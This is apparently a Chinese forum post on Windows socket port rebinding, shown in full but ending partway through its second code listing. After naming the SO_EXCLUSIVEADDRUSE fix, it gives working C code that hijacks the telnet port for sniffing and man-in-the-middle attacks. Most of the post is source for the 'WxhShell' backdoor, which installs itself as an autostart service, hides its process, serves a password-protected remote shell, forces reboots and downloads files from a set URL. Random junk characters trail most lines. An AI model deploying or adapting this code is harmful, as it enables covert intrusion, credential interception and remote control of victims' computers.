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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L\QQjI{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `y1BTe&  
Eem 2qKj  
  saddr.sin_family = AF_INET; z `\# $  
5T!&r  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1t0b Uf;(M  
Hm.X}HO0L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l9]o\JFXk  
lKf Mp1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 aF D="Zh  
,)Yao;Cvd  
  这意味着什么?意味着可以进行如下的攻击: S/a/1 n$ U  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Zk wJ.SuU  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) OpYmTep#T\  
^/G?QR  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Us1@\|]  
4#TnXxL  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w#W5}i&x  
%rFP#L  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .8-PB*vb  
*zJD$+Fo  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ZQ@3P7T  
C,[ L/!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4"LPJX)Q  
_wMc*kjJO  
  #include ggMUdlU  
  #include n1_ %Td  
  #include ",T` \8&@e  
  #include    an.`dBm  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ' Wtf>`  
  int main() e+l\\9v  
  { ,&[7u9@  
  WORD wVersionRequested; BD4`eiu"  
  DWORD ret; (U_wp's  
  WSADATA wsaData; aTG[=)x L  
  BOOL val; A*Rn<{U  
  SOCKADDR_IN saddr; 5tMh/]IeS  
  SOCKADDR_IN scaddr; F(;jM(  
  int err; "Tv:*L5  
  SOCKET s; `[OXVs,7"  
  SOCKET sc; W"|mpxp  
  int caddsize; 8?kP*tmcZ  
  HANDLE mt; -<PC"B  
  DWORD tid;   mTJ"l(,3  
  wVersionRequested = MAKEWORD( 2, 2 ); jFG5)t<D  
  err = WSAStartup( wVersionRequested, &wsaData ); EavX8r  
  if ( err != 0 ) { S*xhX1yUi  
  printf("error!WSAStartup failed!\n"); X>{p}vtvf>  
  return -1; R5gado  
  } xG8`'SNY  
  saddr.sin_family = AF_INET; 0U%Xm[:  
   |/*pT1(&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 UUH;L  
fx]eDA|$e  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); nc&Jmo7  
  saddr.sin_port = htons(23); HA1]M`&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O) 1E$#~  
  { S+iP^*L,c  
  printf("error!socket failed!\n"); $o"g73`3  
  return -1; SOs,)  
  } rd">JEK;;  
  val = TRUE; rw]yKH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 XGhwrI^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xHe^"LL  
  {  VGB-h'  
  printf("error!setsockopt failed!\n"); P.h.M A]  
  return -1; QLn+R(r  
  } a*s\Em7f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4\HsU9x  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z(`r-}f I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |(RZ/d<X\a  
"$DldHC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) c|Y!c!9F  
  { R^6Zafp  
  ret=GetLastError(); Mi?}S6bp  
  printf("error!bind failed!\n"); fnWsm4  
  return -1; S/fW/W*/}  
  } CL1 oAk  
  listen(s,2); \lW_f{X)  
  while(1) 79wLT \&  
  { l]) Q.m  
  caddsize = sizeof(scaddr); hbfsHT  
  //接受连接请求 ;_N"Fdl  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :3 y_mf>  
  if(sc!=INVALID_SOCKET) C\A49q  
  { ,T{oy:rB  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); a,cC!   
  if(mt==NULL) LipxAE?O  
  { 9~~UM<66W  
  printf("Thread Creat Failed!\n"); np=kTJ  
  break; `iQqhx  
  } wVE:X3Ei  
  } M~p=#V1D  
  CloseHandle(mt); (Q_2ODKo  
  } r )8z#W>s  
  closesocket(s); "xn|zB  
  WSACleanup(); LABNj{=D!  
  return 0; :Y^I]`lR"  
  }   ]u0Jd#@  
  DWORD WINAPI ClientThread(LPVOID lpParam) a_{6Qdl  
  { 1eD.:_t4  
  SOCKET ss = (SOCKET)lpParam; :<%vE!$  
  SOCKET sc; @)b^^Fp  
  unsigned char buf[4096]; ;(S|cm'>}  
  SOCKADDR_IN saddr; r.<JDdj  
  long num; Uouq>N  
  DWORD val; wS%zWdsz  
  DWORD ret; 8gI\zgS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5(#-)rlGj  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   VMF|iB  
  saddr.sin_family = AF_INET; t%$@fjz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1a8$f5  
  saddr.sin_port = htons(23); 5r7h=[N  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $H;+}VQ  
  { KoF iQ?  
  printf("error!socket failed!\n"); vYdlSe=6G  
  return -1; L {qJ-ln:  
  } H;y}-=J+  
  val = 100; !.-.#<<_a  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )8'jxiGs  
  { 4| f}F  
  ret = GetLastError(); `)tA YH  
  return -1; l"5y?jT  
  } )5GQJiY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1.0J2nZpt  
  { { i;6vRr  
  ret = GetLastError(); 7"K^H]6u30  
  return -1; z 6cYC,  
  } I N_gF_@%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) C{&)(#*L  
  { K'Spbn!nC  
  printf("error!socket connect failed!\n"); Ue!Q."  
  closesocket(sc); 61|B]ei/  
  closesocket(ss); mf2Mx=oy  
  return -1; p:tN642  
  } km4g}~N</  
  while(1) 9I kUZW  
  { jCQho-1QN  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 K(3&27sGN  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 P^zy;Qs7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A{(T'/~"  
  num = recv(ss,buf,4096,0); 41}/w3Z4  
  if(num>0) DxfMqH[vs  
  send(sc,buf,num,0); ls @5^g  
  else if(num==0) Ay%:@j(E  
  break; wv^b_DR  
  num = recv(sc,buf,4096,0); (OqHfv  
  if(num>0) 4swKjN &  
  send(ss,buf,num,0); 1Is%]6  
  else if(num==0) (Fqa][0  
  break; } # Xi`<{  
  } S_5?U2%D  
  closesocket(ss); (yGQa5v  
  closesocket(sc); 2GUupnQkD  
  return 0 ; aTClw<6}  
  } Kj!Y K~~  
L|J~9FM  
9wMEvX70  
========================================================== a( |xw  
MA6P"?  
下边附上一个代码,,WXhSHELL 9U'[88  
,LZ(^ u  
========================================================== 5~U:@Tp  
:o$@F-$k  
#include "stdafx.h" t'aSF{%  
"kr,x3 =  
#include <stdio.h> vgo{]:Aj{  
#include <string.h> Mz\yPT;Y  
#include <windows.h> (3O1?n[n  
#include <winsock2.h> =ybGb7?  
#include <winsvc.h> zX~}]?|9  
#include <urlmon.h> )S Q('vwg  
H%C\Uz"o  
#pragma comment (lib, "Ws2_32.lib") yQwVQUW8B  
#pragma comment (lib, "urlmon.lib") waQtr,m)  
PkJcd->  
#define MAX_USER   100 // 最大客户端连接数 ?l 9=$'  
#define BUF_SOCK   200 // sock buffer u-39r^`5  
#define KEY_BUFF   255 // 输入 buffer 3agNBF2  
: I)Gv  
#define REBOOT     0   // 重启 :x+ig5  
#define SHUTDOWN   1   // 关机 045\i[l=  
"Z~`e]>  
#define DEF_PORT   5000 // 监听端口 J#(,0h  
_.=`>%,  
#define REG_LEN     16   // 注册表键长度 [TEcg^  
#define SVC_LEN     80   // NT服务名长度 Z(UD9wY5m  
4|F#gK5E  
// 从dll定义API cAibB&`~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^jOCenE 3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @G(xaU'u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JCcQd 01z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {,Fcd(MU  
r{Z[xWIX  
// wxhshell配置信息 Q"'V9m7 i  
struct WSCFG { zDd5cxFdZ  
  int ws_port;         // 监听端口 X'@f"=v9k  
  char ws_passstr[REG_LEN]; // 口令 hHEPNR[.  
  int ws_autoins;       // 安装标记, 1=yes 0=no $+TYvA'N  
  char ws_regname[REG_LEN]; // 注册表键名 ?`aTu:1#Z  
  char ws_svcname[REG_LEN]; // 服务名 "& Mou  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A;T[['  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J 8q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }9=2g`2Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F"=Hp4-C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Yw[{beo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "uhV|Lk*7  
h>|u:]I>  
}; ]v GgJ<  
@?d?e+B  
// default Wxhshell configuration LfllO  
struct WSCFG wscfg={DEF_PORT, (Y)!"_|  
    "xuhuanlingzhe", xx0k$Dqt2I  
    1, |!xpYT:  
    "Wxhshell", KGQC't  
    "Wxhshell", Xy!&^C` J`  
            "WxhShell Service", ]?# #))RUS  
    "Wrsky Windows CmdShell Service", gDv$DB8-  
    "Please Input Your Password: ", - `4Ty*K  
  1, ENyAF%6  
  "http://www.wrsky.com/wxhshell.exe", ^r4|{  
  "Wxhshell.exe" iN`6xkY  
    }; 0[i}rC9&  
V&R$8tpz  
// 消息定义模块 GmAj</~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6}STp_x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C d|W#.6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %wtXo BJ  
char *msg_ws_ext="\n\rExit."; zHqhl}  
char *msg_ws_end="\n\rQuit."; rg*^w!   
char *msg_ws_boot="\n\rReboot..."; m r2S!  
char *msg_ws_poff="\n\rShutdown..."; /W0E(8:C)  
char *msg_ws_down="\n\rSave to "; hv{87`L'K(  
pX^=be_  
char *msg_ws_err="\n\rErr!"; [,GU5,o  
char *msg_ws_ok="\n\rOK!"; b"&E,=L  
y<v|X2  
char ExeFile[MAX_PATH]; T g{UK  
int nUser = 0; cyHU\!Z*Zq  
HANDLE handles[MAX_USER]; X\mz+al>[  
int OsIsNt; IhwN],-V  
2!idy]vy_  
SERVICE_STATUS       serviceStatus; P>fKX2eQ-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Wz5=(<{S  
-_HRqw,Z0  
// 函数声明 j9>TTgy@  
int Install(void); wB 2}uk7  
int Uninstall(void); mZE8.`  
int DownloadFile(char *sURL, SOCKET wsh); w#<p^CS  
int Boot(int flag); egWx9xX  
void HideProc(void); o"\{OX  
int GetOsVer(void); m\?\6W k  
int Wxhshell(SOCKET wsl); E9L!)D]Y  
void TalkWithClient(void *cs); 4]IKh,jT  
int CmdShell(SOCKET sock); k{1b20  
int StartFromService(void); |e+aZ%g  
int StartWxhshell(LPSTR lpCmdLine); Y!it!9  
Pr2;Kp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I5Q~T5Ar  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4@mso+tk  
/L$NE$D} "  
// 数据结构和表定义 /vy?L\`)#  
SERVICE_TABLE_ENTRY DispatchTable[] = Mn{XVXY@qm  
{ vU{jda$$#  
{wscfg.ws_svcname, NTServiceMain}, _6L H"o 3  
{NULL, NULL} d "B5==0I  
}; 716hpj#*  
$Ba`VGP>)3  
// 自我安装 POY=zUQ'/  
int Install(void) {IrJLlq  
{ 8lpzSJP4k  
  char svExeFile[MAX_PATH]; -aT=f9u  
  HKEY key; jP7w6sk E  
  strcpy(svExeFile,ExeFile); rXuAixu!t  
.c03}RTC^  
// 如果是win9x系统,修改注册表设为自启动 G_0)oC@Jl:  
if(!OsIsNt) { `;e^2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q8 4t9b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "&}mAWT%If  
  RegCloseKey(key); g&XhQ.aa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [*t U}9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,.h$&QFj;  
  RegCloseKey(key); 1MpX] j8C#  
  return 0; RRNH0-D1l  
    } cT I,1U  
  } /XN*)m  
} n-W?Z'H{r  
else { @T_O6TcY  
-C=]n<ak  
// 如果是NT以上系统,安装为系统服务 K: 4P ;ApI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uZ-`fcCjD  
if (schSCManager!=0) dhs#D:/{9  
{ K# /Ch5?  
  SC_HANDLE schService = CreateService dw3'T4TC?  
  ( bYK]G+Ww  
  schSCManager, uV!MW=)  
  wscfg.ws_svcname, EtJD'&  
  wscfg.ws_svcdisp, F-$Kv-f  
  SERVICE_ALL_ACCESS, }~V,_Fv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Xa>}4j.  
  SERVICE_AUTO_START, |fx#KNPf]  
  SERVICE_ERROR_NORMAL, f7S^yA[[  
  svExeFile, L+uOBW_  
  NULL, I>\}}!  
  NULL, E $<;@  
  NULL, sBbL~ce50?  
  NULL, xTGP  
  NULL !\3 }R25  
  ); Qf" 6PJ  
  if (schService!=0) s!NisF  
  { `I@)<d  
  CloseServiceHandle(schService); cj`#Tg.  
  CloseServiceHandle(schSCManager); ,b.kw}k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r,QJG$ Jo  
  strcat(svExeFile,wscfg.ws_svcname); #%;<FFu\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q.*'H_Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V2lp7"  
  RegCloseKey(key); UP5%C;  
  return 0; ^GrNfB[Qu  
    } xu`d`!Tx  
  } Vvx a.B  
  CloseServiceHandle(schSCManager); 'T6B_9GQ8  
} t CkoYrvT  
} kqQphKkL  
B #;s(O  
return 1;  xh=FkY&d  
} gD,A9a(3  
 \\y}DNh  
// 自我卸载 SIj6.RK  
int Uninstall(void) {6-;P#Q0_  
{ u!m,ilAnd  
  HKEY key; PXOq#  
?G2qlna  
if(!OsIsNt) { |zK!+fu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lR|$*:+  
  RegDeleteValue(key,wscfg.ws_regname); 6JUav."`~  
  RegCloseKey(key); 3we.*\2$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jq7vOr-_g  
  RegDeleteValue(key,wscfg.ws_regname); (N&k}CO]W  
  RegCloseKey(key); /QV [N  
  return 0; u Eu6f  
  } n$nne6|O  
} TJeou# =/  
} H9.oVF^~  
else { aE%eJ)+K  
tU8g(ep,o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !E4E'I=]N  
if (schSCManager!=0) tn(f rccy  
{ i!s~kk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f0:EQYYZ  
  if (schService!=0) v=dKcruR:  
  { %V@Rk.<  
  if(DeleteService(schService)!=0) { L#83f]vG  
  CloseServiceHandle(schService); /h{go]&Nb  
  CloseServiceHandle(schSCManager); rTN"SQt  
  return 0; B:.;,@r]  
  } ]C9%]`  
  CloseServiceHandle(schService); >OF:"_fh  
  } wghFGHgw  
  CloseServiceHandle(schSCManager); NN31?wt  
} #fJ/KYJU  
} uzat."`d'  
_|Y.!ZRYP  
return 1; !7kAJG g  
} :Vu7,o  
R^mu%dw)(%  
// 从指定url下载文件 p~v2XdR  
int DownloadFile(char *sURL, SOCKET wsh) i{%z  
{ PPuXas?i  
  HRESULT hr; )Tyky%P+iI  
char seps[]= "/"; M6@'9E]|>  
char *token; V{7lltu  
char *file; k)<~nc-  
char myURL[MAX_PATH]; > Z.TM=qj  
char myFILE[MAX_PATH]; ,f-T1v"  
#QJ4o_  
strcpy(myURL,sURL); H]T2$'U6  
  token=strtok(myURL,seps); R#[QoyJ  
  while(token!=NULL) ="'rH.n #  
  { $9j>VGf=  
    file=token; n1k$)S$iiy  
  token=strtok(NULL,seps); Wl9I`Itg  
  } , }xpYq_/  
f4 Sw,A  
GetCurrentDirectory(MAX_PATH,myFILE); 1FXzAc(c!  
strcat(myFILE, "\\"); XcJ'm{=   
strcat(myFILE, file); c0,gfY%sI$  
  send(wsh,myFILE,strlen(myFILE),0); 7cOg(6N  
send(wsh,"...",3,0); ^`hI00u(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ba\wq:  
  if(hr==S_OK) 7(nz<z p  
return 0; <:kTTye|  
else ]$XBd{\D{  
return 1; T_YMM'`  
q\z=z$VR  
} v4Fnh`{  
79<9}<T  
// 系统电源模块 $_ I%1  
int Boot(int flag) FrAqTz  
{ .MzP}8^  
  HANDLE hToken; #%} u8\q  
  TOKEN_PRIVILEGES tkp; p;c_<>ws-Y  
IV 3@6t4k  
  if(OsIsNt) { w|hyU4- ^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @+T{M:&l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2F*Dkv  
    tkp.PrivilegeCount = 1; g-{<v4NGI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4cVs(`g^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R~x;X3  
if(flag==REBOOT) { n+RUPZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {Vt^Xc  
  return 0; >? A `C!i  
} w# gU1yu  
else { z9);e8ck  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TS~Y\Cp  
  return 0; b;~EJ  
} {W:)oh>  
  } dl3LDB  
  else { /!&b'7y  
if(flag==REBOOT) { i\DHIzGp[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]y)R C-N  
  return 0; ]<o.aMdV  
} r-\T}e2Gz  
else { # ZYid t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dg'CHxU  
  return 0; %gne%9nn  
} zDGg\cPj9  
} k_|v)\4B  
wr;|\<c  
return 1; 8n."5,P  
} Ep,0Z*j  
LK-K_!F  
// win9x进程隐藏模块 /Mi-lh^j-  
void HideProc(void) 9B?t3:  
{ sgb+@&}9n  
BF1O|Q|d6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,$zSJzS  
  if ( hKernel != NULL ) L]L~TA<D9i  
  { @e?[oojrM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Oa_o"p<Lr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &:e}4/G  
    FreeLibrary(hKernel); @y~BYiKs  
  } ]cGz~TN~  
 >Wr   
return; pb2{J#  
} z"P,=M6De  
uX5 --o=C  
// 获取操作系统版本 PE6u8ZAb"  
int GetOsVer(void) a*n%SUP  
{ :x*|lz[  
  OSVERSIONINFO winfo; ]rX?n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Pu\DYP: (  
  GetVersionEx(&winfo); ]Buk9LTe  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *l'$pJ X  
  return 1; /cg]wG!n8  
  else $e t :  
  return 0; I?B,rT3 h  
} pTV@nP  
&T{B~i3w8  
// 客户端句柄模块 |uBot#K|  
int Wxhshell(SOCKET wsl) :+dWJNY:  
{ HV.|Eh_7  
  SOCKET wsh; 52C-D+zCJ  
  struct sockaddr_in client;  [k&s!Qp  
  DWORD myID; id[>!fQ=Y  
 &t%&l0  
  while(nUser<MAX_USER) .T$9Q Ar5  
{ !y2h`ZAZ  
  int nSize=sizeof(client); (+Nmio  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8IIdNd  
  if(wsh==INVALID_SOCKET) return 1; 4Uy>#IL  
$j4?'-i=e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Kg0\Pvg8?T  
if(handles[nUser]==0) [m+O0VK$  
  closesocket(wsh); U%PMV?L{  
else mX_Uhpw?t  
  nUser++; ~9/nx|%D  
  } t-|=weNy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n)?F 9Wap  
o? xR[N-J  
  return 0; bHH}x"d[x  
} !.GY~f<d$  
Ud(dWj-/  
// 关闭 socket /$4?.qtu  
void CloseIt(SOCKET wsh) g:e8i~  
{ K|J#/  
closesocket(wsh); @j8L{FGnN  
nUser--; &7kSLat+9{  
ExitThread(0); sbiDnRf  
} ~x^+OXf!^g  
T9;o.f S  
// 客户端请求句柄 E|A_|FS&%  
void TalkWithClient(void *cs) }m lbN0v  
{ jw%FZ  
#FDu 4xi  
  SOCKET wsh=(SOCKET)cs; 1sJJ"dC.w  
  char pwd[SVC_LEN]; ?(L? X&)v  
  char cmd[KEY_BUFF]; Dlsa(  
char chr[1]; laL4ez  
int i,j; :Y?08/V  
=Q 0 )t_z_  
  while (nUser < MAX_USER) { I$qtfGr  
_ ~$0cj<  
if(wscfg.ws_passstr) { u H;^>`DT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s#Y7*?Sm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CvSG!l.6f<  
  //ZeroMemory(pwd,KEY_BUFF); SmEd'YD!J  
      i=0; \z?;6A  
  while(i<SVC_LEN) { ?\$/#zak  
}Nc!8'@  
  // 设置超时 .Zz7LG{  
  fd_set FdRead; ^[NmNi*  
  struct timeval TimeOut; "_}D{ws1  
  FD_ZERO(&FdRead); WC&Ltw8  
  FD_SET(wsh,&FdRead); ,<WykeC  
  TimeOut.tv_sec=8; g}j>;T  
  TimeOut.tv_usec=0; DL Q`<aU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }XE/5S}D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y]Nab0R&  
W@}5e-q)O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H;te)km}  
  pwd=chr[0]; Gjh7cm>  
  if(chr[0]==0xd || chr[0]==0xa) { `^h##WaXap  
  pwd=0; @G{DOxE*  
  break; |#kf.kN  
  } gV>\lMc[-%  
  i++; i-W2!;G  
    } P@? '@.e  
Q9V4-MC9  
  // 如果是非法用户,关闭 socket #iU/Yg!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4hz,F/ I  
} PKG ,4v=  
k&;L(D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wd0ACF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {vlh ,0~  
(R,n`x2^  
while(1) { nuA!Jln_  
MUl+Oy>  
  ZeroMemory(cmd,KEY_BUFF); k3kqgR*  
eci\Q,   
      // 自动支持客户端 telnet标准   #nhAW  
  j=0; >,2],X"G  
  while(j<KEY_BUFF) { S"z4jpqn3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;OyM~T gI  
  cmd[j]=chr[0]; 0:8'Ov(  
  if(chr[0]==0xa || chr[0]==0xd) { y70gNPuTOD  
  cmd[j]=0; @jeV[N,0  
  break; 6w ,xb&S  
  } ]x\wP7x  
  j++; 2>s;xZ@/'R  
    } 4v .6_ebL  
`9gx-')]\  
  // 下载文件 XrF9*>ti?  
  if(strstr(cmd,"http://")) { `,"Jc<R7Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =;T[2:JUu  
  if(DownloadFile(cmd,wsh)) )]R8 $S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Sq >c3Wn  
  else N h%8;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ovO^uWz`  
  } VxoMK7'O=/  
  else { 1[ Pbsb  
#>'0C6Xn  
    switch(cmd[0]) { uy~j$lrn  
  na)_8r~  
  // 帮助 J)]W[Nk  
  case '?': { ~Ua0pS?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zx*f*L,6F  
    break; G y2XjO8b  
  } 5KzU&!Zh9  
  // 安装 QWEK;kUa@  
  case 'i': { b`mEnI VIz  
    if(Install()) _QY "#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JI(|sAH  
    else ]g :ZokU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DS yE   
    break; kQ+5p Fo3  
    } _U %B1s3y  
  // 卸载 rxA<\h,A  
  case 'r': { .:}\Z27-c  
    if(Uninstall()) CAO$Zt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); whshjl?a  
    else tp7fmn*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .1;?#t]ZV  
    break; Up:#Zs2  
    } )? xg=o/?  
  // 显示 wxhshell 所在路径 4|qp&%9-  
  case 'p': { `{%*DHa  
    char svExeFile[MAX_PATH]; dO2cgY}  
    strcpy(svExeFile,"\n\r"); $HRpG  
      strcat(svExeFile,ExeFile); a%kj)ah  
        send(wsh,svExeFile,strlen(svExeFile),0); (@ Bw@9  
    break;  f!<mI8H  
    } O`eNuQSv  
  // 重启 =S,^"D\Z:  
  case 'b': { o?>)CAo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y*6*;0Kx  
    if(Boot(REBOOT)) rqIt}(J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @0G} Q  
    else { ]TQjk{X<  
    closesocket(wsh); (/^&3xs9  
    ExitThread(0); 6m?}oMz  
    } '};pu;GA7  
    break; @2V#bK  
    } L_Z>*s&  
  // 关机 q5Z]Z.%3O  
